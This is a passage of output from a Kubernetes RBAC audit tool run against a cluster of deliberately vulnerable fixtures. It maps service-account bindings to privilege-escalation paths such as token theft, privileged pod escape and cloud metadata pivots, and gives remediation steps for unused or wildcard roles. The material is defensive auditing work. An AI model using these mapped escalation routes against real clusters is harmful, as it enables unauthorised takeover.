  • ServiceAccount rbac-fixtures/sa-wildcard -> cluster_admin via wildcard_permission -> cluster_admin (CRITICAL, 1 hop)
  • ServiceAccount rbac-fixtures/sa-wildcard -> node_escape via node_drain_migrate -> node_escape (HIGH, 1 hop)
  • ServiceAccount rbac-fixtures/sa-wildcard -> system_masters via node_drain_migrate -> system_masters (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-wildcard -> generic via secret_mint_token -> generic (HIGH, 1 hop)

ServiceAccount rbac-fixtures/sa-workload-mutate

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-workload-mutate -> ClusterRole/cr-workload-mutate

Effective verbs: create patch update

Effective rules:
  • create,patch,update on cronjobs@apps
  • create,patch,update on cronjobs@batch
  • create,patch,update on daemonsets@apps
  • create,patch,update on daemonsets@batch
  • create,patch,update on deployments@apps
  • create,patch,update on deployments@batch
  • create,patch,update on jobs@apps
  • create,patch,update on jobs@batch
  • create,patch,update on statefulsets@apps
  • create,patch,update on statefulsets@batch
Privesc paths originating here:
  • ServiceAccount rbac-fixtures/sa-workload-mutate -> cluster_admin via workload_create_token_theft -> cluster_admin (CRITICAL, 2 hops)
  • ServiceAccount rbac-fixtures/sa-workload-mutate -> system_masters via workload_create_token_theft -> system_masters (CRITICAL, 2 hops)
  • ServiceAccount rbac-fixtures/sa-workload-mutate -> node_escape via workload_privileged_escape -> node_escape (CRITICAL, 1 hop)
  • ServiceAccount rbac-fixtures/sa-workload-mutate -> kube_system_secrets via workload_create_token_theft -> kube_system_secrets (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-workload-mutate -> node_identity via workload_create_token_theft -> node_identity (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-workload-mutate -> User arn:aws:iam::123456789012:role/AdministratorAccess via workload_create_token_theft -> aws_iam_role (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-workload-mutate -> User arn:aws:iam::123456789012:role/ImpersonatorAdminRole via workload_create_token_theft -> aws_iam_role (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-workload-mutate -> namespace_admin via workload_create_token_theft -> namespace_admin (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-workload-mutate -> namespace_admin via workload_create_token_theft -> namespace_admin (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-workload-mutate -> namespace_admin via workload_create_token_theft -> namespace_admin (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-workload-mutate -> traffic_intercept via workload_create_token_theft -> traffic_intercept (HIGH, 2 hops)
  • ServiceAccount rbac-fixtures/sa-workload-mutate -> generic via workload_create_token_theft -> generic (HIGH, 2 hops)

ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-ns-rolebinding-mutate-bind -> ClusterRole/cr-ns-rolebinding-mutate-bind
  • RoleBinding/rbac-ns-fixtures/rb-ns-rolebinding-mutate -> Role/r-ns-rolebinding-mutate

Effective verbs: bind create patch update

Effective rules:
  • bind on clusterroles@rbac.authorization.k8s.io
  • create,patch,update on rolebindings@rbac.authorization.k8s.io
Privesc paths originating here:
  • ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate -> namespace_admin via modify_role_binding -> namespace_admin (HIGH, 1 hop)

ServiceAccount vulnerable/default

chain-amplified
Bindings:
  • RoleBinding/vulnerable/default-sa-rb -> Role/cm-reader

Effective verbs: get

Effective rules:
  • get on configmaps@core
Privesc paths originating here:
  • ServiceAccount vulnerable/default -> node_escape via pod_host_escape -> node_escape (CRITICAL, 1 hop)
  • ServiceAccount vulnerable/default -> system_masters via pod_host_escape -> system_masters (CRITICAL, 2 hops)
  • ServiceAccount vulnerable/default -> generic via pod_host_escape -> generic (HIGH, 2 hops)

ServiceAccount vulnerable/privileged-reader

chain-amplified
Bindings:
  • ClusterRoleBinding/privileged-reader -> ClusterRole/privileged-reader

Effective verbs: create get list

Effective rules:
  • create on pods@core
  • get,list on secrets@core
Privesc paths originating here:
  • ServiceAccount vulnerable/privileged-reader -> cluster_admin via pod_create_token_theft -> cluster_admin (CRITICAL, 2 hops)
  • ServiceAccount vulnerable/privileged-reader -> system_masters via pod_create_token_theft -> system_masters (CRITICAL, 2 hops)
  • ServiceAccount vulnerable/privileged-reader -> node_escape via pod_create_privileged_escape -> node_escape (CRITICAL, 1 hop)
  • ServiceAccount vulnerable/privileged-reader -> kube_system_secrets via read_secrets -> kube_system_secrets (HIGH, 1 hop)
  • ServiceAccount vulnerable/privileged-reader -> node_identity via pod_create_token_theft -> node_identity (HIGH, 2 hops)
  • ServiceAccount vulnerable/privileged-reader -> User arn:aws:iam::123456789012:role/AdministratorAccess via pod_create_token_theft -> aws_iam_role (HIGH, 2 hops)
  • ServiceAccount vulnerable/privileged-reader -> User arn:aws:iam::123456789012:role/ImpersonatorAdminRole via pod_create_token_theft -> aws_iam_role (HIGH, 2 hops)
  • ServiceAccount vulnerable/privileged-reader -> namespace_admin via pod_create_token_theft -> namespace_admin (HIGH, 2 hops)
  • ServiceAccount vulnerable/privileged-reader -> namespace_admin via pod_create_token_theft -> namespace_admin (HIGH, 2 hops)
  • ServiceAccount vulnerable/privileged-reader -> namespace_admin via pod_create_token_theft -> namespace_admin (HIGH, 2 hops)
  • ServiceAccount vulnerable/privileged-reader -> traffic_intercept via pod_create_token_theft -> traffic_intercept (HIGH, 2 hops)
  • ServiceAccount vulnerable/privileged-reader -> generic via pod_create_token_theft -> generic (HIGH, 2 hops)

ServiceAccount foothold-exec/foothold-reader

chain-amplified
Bindings:
  • RoleBinding/kube-system/foothold-reader-secrets -> Role/foothold-reader-secrets

Effective verbs: get list

Effective rules:
  • get,list on secrets@core
Privesc paths originating here:
  • ServiceAccount foothold-exec/foothold-reader -> node_escape via imds_node_role_pivot -> node_escape (HIGH, 1 hop)
  • ServiceAccount foothold-exec/foothold-reader -> kube_system_secrets via read_secrets -> kube_system_secrets (HIGH, 1 hop)
  • ServiceAccount foothold-exec/foothold-reader -> system_masters via imds_node_role_pivot -> system_masters (HIGH, 2 hops)
  • ServiceAccount foothold-exec/foothold-reader -> generic via imds_node_role_pivot -> generic (MEDIUM, 2 hops)

ServiceAccount foothold-fixtures/foothold-minter

chain-amplified
Bindings:
  • RoleBinding/foothold-fixtures/foothold-minter -> Role/foothold-minter

Effective verbs: create

Effective rules:
  • create on serviceaccounts/token@core
Privesc paths originating here:
  • ServiceAccount foothold-fixtures/foothold-minter -> kube_system_secrets via token_request -> kube_system_secrets (HIGH, 2 hops)

ServiceAccount foothold-fixtures/foothold-quiet

chain-amplified
Bindings:
  • RoleBinding/kube-system/foothold-quiet-secrets -> Role/foothold-quiet-secrets

Effective verbs: get list

Effective rules:
  • get,list on secrets@core
Privesc paths originating here:
  • ServiceAccount foothold-fixtures/foothold-quiet -> node_escape via imds_node_role_pivot -> node_escape (HIGH, 1 hop)
  • ServiceAccount foothold-fixtures/foothold-quiet -> kube_system_secrets via read_secrets -> kube_system_secrets (HIGH, 1 hop)
  • ServiceAccount foothold-fixtures/foothold-quiet -> system_masters via imds_node_role_pivot -> system_masters (HIGH, 2 hops)
  • ServiceAccount foothold-fixtures/foothold-quiet -> generic via imds_node_role_pivot -> generic (MEDIUM, 2 hops)

ServiceAccount foothold-ops/foothold-named-execer

chain-amplified
Bindings:
  • RoleBinding/foothold-exec/foothold-named-execer -> Role/foothold-named-execer

Effective verbs: create

Effective rules:
  • create on pods/exec@core
Privesc paths originating here:
  • ServiceAccount foothold-ops/foothold-named-execer -> node_escape via pod_exec -> node_escape (HIGH, 2 hops)
  • ServiceAccount foothold-ops/foothold-named-execer -> kube_system_secrets via pod_exec -> kube_system_secrets (HIGH, 2 hops)
  • ServiceAccount foothold-ops/foothold-named-execer -> system_masters via pod_exec -> system_masters (HIGH, 3 hops)
  • ServiceAccount foothold-ops/foothold-named-execer -> generic via pod_exec -> generic (MEDIUM, 3 hops)

ServiceAccount gw-workloads/gw-powerful

chain-amplified
Bindings:
  • ClusterRoleBinding/gw-powerful-secrets -> ClusterRole/gw-secret-lister

Effective verbs: list

Effective rules:
  • list on secrets@core
Privesc paths originating here:
  • ServiceAccount gw-workloads/gw-powerful -> kube_system_secrets via read_secrets -> kube_system_secrets (HIGH, 1 hop)

ServiceAccount hookbackend-fixtures/hookbackend-slicer

chain-amplified
Bindings:
  • RoleBinding/hookbackend-fixtures/hookbackend-slicer -> Role/hookbackend-slicer

Effective verbs: create get list

Effective rules:
  • create,get,list on endpointslices@discovery.k8s.io
Privesc paths originating here:
  • ServiceAccount hookbackend-fixtures/hookbackend-slicer -> traffic_intercept via endpointslice_write -> traffic_intercept (HIGH, 1 hop)

ServiceAccount imgswap-fixtures/imgswap-patcher

chain-amplified
Bindings:
  • RoleBinding/imgswap-fixtures/imgswap-pod-patcher -> Role/imgswap-pod-patcher

Effective verbs: get list patch

Effective rules:
  • get,list,patch on pods@core
Privesc paths originating here:
  • ServiceAccount imgswap-fixtures/imgswap-patcher -> node_escape via pod_image_hijack -> node_escape (HIGH, 2 hops)
  • ServiceAccount imgswap-fixtures/imgswap-patcher -> kube_system_secrets via pod_image_hijack -> kube_system_secrets (HIGH, 2 hops)
  • ServiceAccount imgswap-fixtures/imgswap-patcher -> system_masters via pod_image_hijack -> system_masters (HIGH, 3 hops)
  • ServiceAccount imgswap-fixtures/imgswap-patcher -> generic via pod_image_hijack -> generic (MEDIUM, 3 hops)

ServiceAccount imgswap-fixtures/imgswap-reader

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-imgswap-secret-reader -> ClusterRole/cr-imgswap-secret-reader

Effective verbs: get list

Effective rules:
  • get,list on secrets@core
Privesc paths originating here:
  • ServiceAccount imgswap-fixtures/imgswap-reader -> node_escape via imds_node_role_pivot -> node_escape (HIGH, 1 hop)
  • ServiceAccount imgswap-fixtures/imgswap-reader -> kube_system_secrets via read_secrets -> kube_system_secrets (HIGH, 1 hop)
  • ServiceAccount imgswap-fixtures/imgswap-reader -> system_masters via imds_node_role_pivot -> system_masters (HIGH, 2 hops)
  • ServiceAccount imgswap-fixtures/imgswap-reader -> generic via imds_node_role_pivot -> generic (MEDIUM, 2 hops)

ServiceAccount lp-fixtures/sa-lp-narrow

chain-amplified
Bindings:
  • RoleBinding/lp-fixtures/rb-lp-narrow -> Role/r-lp-narrow

Effective verbs: create delete get list patch update watch

Effective rules:
  • create,delete,get,list,patch,update,watch on configmaps@core
Privesc paths originating here:
  • ServiceAccount lp-fixtures/sa-lp-narrow -> node_escape via imds_node_role_pivot -> node_escape (HIGH, 1 hop)
  • ServiceAccount lp-fixtures/sa-lp-narrow -> system_masters via imds_node_role_pivot -> system_masters (HIGH, 2 hops)
  • ServiceAccount lp-fixtures/sa-lp-narrow -> generic via imds_node_role_pivot -> generic (MEDIUM, 2 hops)

ServiceAccount lp-fixtures/sa-lp-orphan

chain-amplified
Bindings:
  • RoleBinding/lp-fixtures/rb-lp-orphan -> Role/r-lp-orphan

Effective verbs: get list

Effective rules:
  • get,list on pods@core
Privesc paths originating here:
  • ServiceAccount lp-fixtures/sa-lp-orphan -> node_escape via imds_node_role_pivot -> node_escape (HIGH, 1 hop)
  • ServiceAccount lp-fixtures/sa-lp-orphan -> system_masters via imds_node_role_pivot -> system_masters (HIGH, 2 hops)
  • ServiceAccount lp-fixtures/sa-lp-orphan -> generic via imds_node_role_pivot -> generic (MEDIUM, 2 hops)

ServiceAccount lp-fixtures/sa-lp-wildcard

chain-amplified
Bindings:
  • RoleBinding/lp-fixtures/rb-lp-wildcard -> Role/r-lp-wildcard

Effective verbs: *

Effective rules:
  • * on secrets@core
Privesc paths originating here:
  • ServiceAccount lp-fixtures/sa-lp-wildcard -> node_escape via imds_node_role_pivot -> node_escape (HIGH, 1 hop)
  • ServiceAccount lp-fixtures/sa-lp-wildcard -> system_masters via imds_node_role_pivot -> system_masters (HIGH, 2 hops)
  • ServiceAccount lp-fixtures/sa-lp-wildcard -> generic via imds_node_role_pivot -> generic (MEDIUM, 2 hops)

ServiceAccount privesc-fixtures/sa-node-migrate

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-node-migrate -> ClusterRole/cr-node-migrate

Effective verbs: delete patch update

Effective rules:
  • delete on pods@core
  • patch,update on nodes/status@core
Privesc paths originating here:
  • ServiceAccount privesc-fixtures/sa-node-migrate -> node_escape via node_drain_migrate -> node_escape (HIGH, 1 hop)
  • ServiceAccount privesc-fixtures/sa-node-migrate -> system_masters via node_drain_migrate -> system_masters (HIGH, 2 hops)
  • ServiceAccount privesc-fixtures/sa-node-migrate -> generic via node_drain_migrate -> generic (MEDIUM, 2 hops)

ServiceAccount privesc-fixtures/sa-secret-read

chain-amplified
Bindings:
  • ClusterRoleBinding/crb-secret-read -> ClusterRole/cr-secret-read

Effective verbs: get

Effective rules:
  • get on secrets@core
Privesc paths originating here:
  • ServiceAccount privesc-fixtures/sa-secret-read -> kube_system_secrets via read_secrets -> kube_system_secrets (HIGH, 1 hop)

ServiceAccount secrets-bundle/cross-ns-reader

chain-amplified
Bindings:
  • RoleBinding/secrets-bundle-target/cross-ns-secrets-read -> Role/secrets-reader

Effective verbs: get list

Effective rules:
  • get,list on secrets@core
Privesc paths originating here:
  • ServiceAccount secrets-bundle/cross-ns-reader -> node_escape via imds_node_role_pivot -> node_escape (HIGH, 1 hop)
  • ServiceAccount secrets-bundle/cross-ns-reader -> system_masters via imds_node_role_pivot -> system_masters (HIGH, 2 hops)
  • ServiceAccount secrets-bundle/cross-ns-reader -> generic via imds_node_role_pivot -> generic (MEDIUM, 2 hops)

User gw-deployer

chain-amplified
Bindings:
  • RoleBinding/gw-workloads/gw-deployer -> Role/gw-deployer

Effective verbs: create

Effective rules:
  • create on deployments@apps
Privesc paths originating here:
  • User gw-deployer -> node_escape via workload_create_token_theft -> node_escape (HIGH, 2 hops)
  • User gw-deployer -> kube_system_secrets via workload_create_token_theft -> kube_system_secrets (HIGH, 2 hops)
  • User gw-deployer -> system_masters via workload_create_token_theft -> system_masters (HIGH, 3 hops)
  • User gw-deployer -> generic via workload_create_token_theft -> generic (MEDIUM, 3 hops)

User gw-patcher

chain-amplified
Bindings:
  • RoleBinding/gw-workloads/gw-patcher -> Role/gw-patcher

Effective verbs: patch

Effective rules:
  • patch on deployments@apps
Privesc paths originating here:
  • User gw-patcher -> node_escape via workload_hijack -> node_escape (HIGH, 2 hops)
  • User gw-patcher -> kube_system_secrets via workload_hijack -> kube_system_secrets (HIGH, 2 hops)
  • User gw-patcher -> system_masters via workload_hijack -> system_masters (HIGH, 3 hops)
  • User gw-patcher -> generic via workload_hijack -> generic (MEDIUM, 3 hops)

ServiceAccount statusspoof-fixtures/statusspoof-writer

chain-amplified
Bindings:
  • RoleBinding/statusspoof-fixtures/statusspoof-status-writer -> Role/statusspoof-status-writer

Effective verbs: get list patch

Effective rules:
  • get,list on pods@core
  • patch on pods/status@core
Privesc paths originating here:
  • ServiceAccount statusspoof-fixtures/statusspoof-writer -> traffic_intercept via pod_status_ip_spoof -> traffic_intercept (MEDIUM, 1 hop)

ServiceAccount cloud-eks-imp/eks-impersonator

Bindings:
  • RoleBinding/cloud-eks-imp/eks-impersonator -> Role/eks-impersonator

Effective verbs: impersonate

Effective rules:
  • impersonate on serviceaccounts@core

ServiceAccount cutres-deputy-tenant/cutres-deputy

Bindings:
  • RoleBinding/cutres-deputy-tenant/cutres-deputy-cert-a -> Role/cutres-deputy-cert
  • RoleBinding/cutres-deputy-tenant/cutres-deputy-cert-b -> Role/cutres-deputy-cert

Effective verbs: create

Effective rules:
  • create on certificates@cert-manager.io

ServiceAccount deepchain-tenant/deepchain-deployer

Bindings:
  • RoleBinding/deepchain-tenant/deepchain-gitops -> Role/deepchain-gitops

Effective verbs: create patch

Effective rules:
  • create,patch on kustomizations@kustomize.toolkit.fluxcd.io

User gw-job-patcher

Bindings:
  • RoleBinding/gw-workloads/gw-job-patcher -> Role/gw-job-patcher

Effective verbs: patch update

Effective rules:
  • patch,update on jobs@batch

ServiceAccount hookbackend-fixtures/podbind-scheduler

Bindings:
  • RoleBinding/hookbackend-fixtures/podbind-scheduler -> Role/podbind-scheduler

Effective verbs: create get list watch

Effective rules:
  • create on pods/binding@core
  • get,list,watch on pods@core

ServiceAccount privesc-fixtures/sa-portforward

Bindings:
  • ClusterRoleBinding/crb-portforward -> ClusterRole/cr-portforward

Effective verbs: create

Effective rules:
  • create on pods/portforward@core

ServiceAccount rbac-fixtures/sa-stale-roleref

Bindings:
  • ClusterRoleBinding/crb-stale-roleref -> ClusterRole/kubesplaining-fixture-deleted-role

ServiceAccount rbac-fixtures/ghost-sa-fixture

Bindings:
  • RoleBinding/rbac-fixtures/rb-stale-subject -> Role/r-stale-subject-target

Effective verbs: get

Effective rules:
  • get on configmaps@core

Group kubeadm:cluster-admins

Bindings:
  • ClusterRoleBinding/kubeadm:cluster-admins -> ClusterRole/cluster-admin

Effective verbs: *

Effective rules:
  • * on *@*
  • * on @core

Group system:masters

Bindings:
  • ClusterRoleBinding/cluster-admin -> ClusterRole/cluster-admin

Effective verbs: *

Effective rules:
  • * on *@*
  • * on @core
ServiceAccount csr-fixtures/sa-csr-mint
1 med 1 finding
MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-csr-mint granted to ServiceAccount csr-fixtures/sa-csr-mint but never exercised

Audit logs covering 30 days (2026-09-09 → 2026-10-09, 3 events) show zero API calls from ServiceAccount csr-fixtures/sa-csr-mint. The Role cr-csr-mint is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

How to fix (3 steps)

Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).

Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "cr-csr-mint") | {kind, ns: .metadata.namespace, name: .metadata.name}'

Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.

ServiceAccount csr-fixtures/sa-csr-sign
1 med 1 finding
MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-csr-sign granted to ServiceAccount csr-fixtures/sa-csr-sign but never exercised

Audit logs covering 30 days (2026-09-09 → 2026-10-09, 3 events) show zero API calls from ServiceAccount csr-fixtures/sa-csr-sign. The Role cr-csr-sign is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

How to fix (3 steps)

Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).

Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "cr-csr-sign") | {kind, ns: .metadata.namespace, name: .metadata.name}'

Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.

ServiceAccount foothold-exec/foothold-decoy-sa
1 med 1 finding
MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cluster-admin granted to ServiceAccount foothold-exec/foothold-decoy-sa but never exercised

Audit logs covering 30 days (2026-09-09 → 2026-10-09, 3 events) show zero API calls from ServiceAccount foothold-exec/foothold-decoy-sa. The Role cluster-admin is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

How to fix (3 steps)

Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).

Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "cluster-admin") | {kind, ns: .metadata.namespace, name: .metadata.name}'

Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.

ServiceAccount foothold-exec/foothold-reader
1 med 1 finding
MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role foothold-reader-secrets granted to ServiceAccount foothold-exec/foothold-reader but never exercised

Audit logs covering 30 days (2026-09-09 → 2026-10-09, 3 events) show zero API calls from ServiceAccount foothold-exec/foothold-reader. The Role foothold-reader-secrets is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

How to fix (3 steps)

Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).

Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "foothold-reader-secrets") | {kind, ns: .metadata.namespace, name: .metadata.name}'

Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.

ServiceAccount foothold-fixtures/foothold-quiet
1 med 1 finding
MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role foothold-quiet-secrets granted to ServiceAccount foothold-fixtures/foothold-quiet but never exercised

Audit logs covering 30 days (2026-09-09 → 2026-10-09, 3 events) show zero API calls from ServiceAccount foothold-fixtures/foothold-quiet. The Role foothold-quiet-secrets is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

How to fix (3 steps)

Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).

Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "foothold-quiet-secrets") | {kind, ns: .metadata.namespace, name: .metadata.name}'

Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.

ServiceAccount imgswap-fixtures/imgswap-reader
1 med 1 finding
MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-imgswap-secret-reader granted to ServiceAccount imgswap-fixtures/imgswap-reader but never exercised

Audit logs covering 30 days (2026-09-09 → 2026-10-09, 3 events) show zero API calls from ServiceAccount imgswap-fixtures/imgswap-reader. The Role cr-imgswap-secret-reader is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

How to fix (3 steps)

Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).

Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "cr-imgswap-secret-reader") | {kind, ns: .metadata.namespace, name: .metadata.name}'

Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.

ServiceAccount local-path-storage/local-path-provisioner-service-account
1 med 1 finding
MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role local-path-provisioner-role granted to ServiceAccount local-path-storage/local-path-provisioner-service-account but never exercised

Audit logs covering 30 days (2026-09-09 → 2026-10-09, 3 events) show zero API calls from ServiceAccount local-path-storage/local-path-provisioner-service-account. The Role local-path-provisioner-role is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

How to fix (3 steps)

Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).

Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "local-path-provisioner-role") | {kind, ns: .metadata.namespace, name: .metadata.name}'

Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.

ServiceAccount lp-fixtures/sa-lp-orphan
1 med 1 finding
MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role r-lp-orphan granted to ServiceAccount lp-fixtures/sa-lp-orphan but never exercised

Audit logs covering 30 days (2026-09-09 → 2026-10-09, 3 events) show zero API calls from ServiceAccount lp-fixtures/sa-lp-orphan. The Role r-lp-orphan is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

How to fix (3 steps)

Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).

Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "r-lp-orphan") | {kind, ns: .metadata.namespace, name: .metadata.name}'

Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.

ServiceAccount lp-fixtures/sa-lp-wildcard
1 med 1 finding
MEDIUM KUBE-RBAC-WILDCARD-USED-PARTIAL-001 Role r-lp-wildcard grants verbs: ["*"] to ServiceAccount lp-fixtures/sa-lp-wildcard, only a subset is used

Over 30 days (2026-09-09 → 2026-10-09, 3 events), ServiceAccount lp-fixtures/sa-lp-wildcard exercised a narrow subset of the wildcard verbs: ["*"] grants in r-lp-wildcard:

- secrets (apiGroup core) observed: get

The wildcard implicitly includes create, update, patch, delete, deletecollection, bind, escalate, impersonate, and any future verb Kubernetes introduces. Replacing the wildcard with the observed verb set shrinks blast radius without affecting known behavior.

How to fix (3 steps)

Verify the observation window covers rare administrative actions (monthly cleanup, post-incident recovery).

Apply the narrower Role shown in the snippet below.

Re-scan after the change to confirm no UNUSED-VERB findings emerge: those would indicate the new verb list is itself broader than the workload needs.

Suggested narrower Role (YAML)
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole  # or Role, matching the existing definition
metadata:
  name: r-lp-wildcard-narrowed
rules:
  - apiGroups: [""]
    resources: ["secrets"]
    verbs: ["get"]
ServiceAccount rbac-fixtures/sa-impersonate
1 med 1 finding
MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-impersonate granted to ServiceAccount rbac-fixtures/sa-impersonate but never exercised

Audit logs covering 30 days (2026-09-09 → 2026-10-09, 3 events) show zero API calls from ServiceAccount rbac-fixtures/sa-impersonate. The Role cr-impersonate is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

How to fix (3 steps)

Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).

Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "cr-impersonate") | {kind, ns: .metadata.namespace, name: .metadata.name}'

Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.

ServiceAccount rbac-fixtures/sa-pod-create
1 med 1 finding
MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-pod-create granted to ServiceAccount rbac-fixtures/sa-pod-create but never exercised

Audit logs covering 30 days (2026-09-09 → 2026-10-09, 3 events) show zero API calls from ServiceAccount rbac-fixtures/sa-pod-create. The Role cr-pod-create is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

How to fix (3 steps)

Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).

Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "cr-pod-create") | {kind, ns: .metadata.namespace, name: .metadata.name}'

Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.

ServiceAccount rbac-fixtures/sa-stale-roleref
1 med 1 finding
MEDIUM KUBE-RBAC-STALE-001 Cluster-wide stale binding references non-existent ClusterRole on ServiceAccount/rbac-fixtures/sa-stale-roleref

ClusterRoleBinding crb-stale-roleref grants permissions from ClusterRole kubesplaining-fixture-deleted-role, but no ClusterRole named kubesplaining-fixture-deleted-role exists in this cluster. The binding currently confers no effective permissions, so an attacker who already has ServiceAccount/rbac-fixtures/sa-stale-roleref gains nothing today.

What makes this risky is what happens *next*. The moment any identity with create clusterroles re-creates a clusterrole named exactly kubesplaining-fixture-deleted-role — by restoring it from version control, applying a cached manifest, or as a deliberate attack step — this binding silently activates and grants the new role's rules to every subject listed. The binding itself was never re-reviewed; the only review gate that fired was on the role definition. If the original review process that introduced this binding was looking at it in the context of a specific role's rules, that context is now gone.

How to fix (4 steps)

Confirm the binding is no longer needed: kubectl get clusterrolebinding crb-stale-roleref -o yaml.

If the ClusterRole kubesplaining-fixture-deleted-role should still exist, restore it from version control and re-review the binding's grant in the context of the restored rules.

If the binding is obsolete, delete it: kubectl delete clusterrolebinding crb-stale-roleref.

Add a CI lint (Kyverno / Gatekeeper / ValidatingAdmissionPolicy) that rejects any clusterrolebinding whose roleRef does not resolve to an existing ClusterRole.

ServiceAccount rbac-fixtures/sa-wildcard
1 med 1 finding
MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role cr-wildcard granted to ServiceAccount rbac-fixtures/sa-wildcard but never exercised

Audit logs covering 30 days (2026-09-09 → 2026-10-09, 3 events) show zero API calls from ServiceAccount rbac-fixtures/sa-wildcard. The Role cr-wildcard is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

How to fix (3 steps)

Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).

Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "cr-wildcard") | {kind, ns: .metadata.namespace, name: .metadata.name}'

Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.

ServiceAccount secrets-bundle/cross-ns-reader
1 med 1 finding
MEDIUM KUBE-RBAC-UNUSED-ROLE-001 Role secrets-reader granted to ServiceAccount secrets-bundle/cross-ns-reader but never exercised

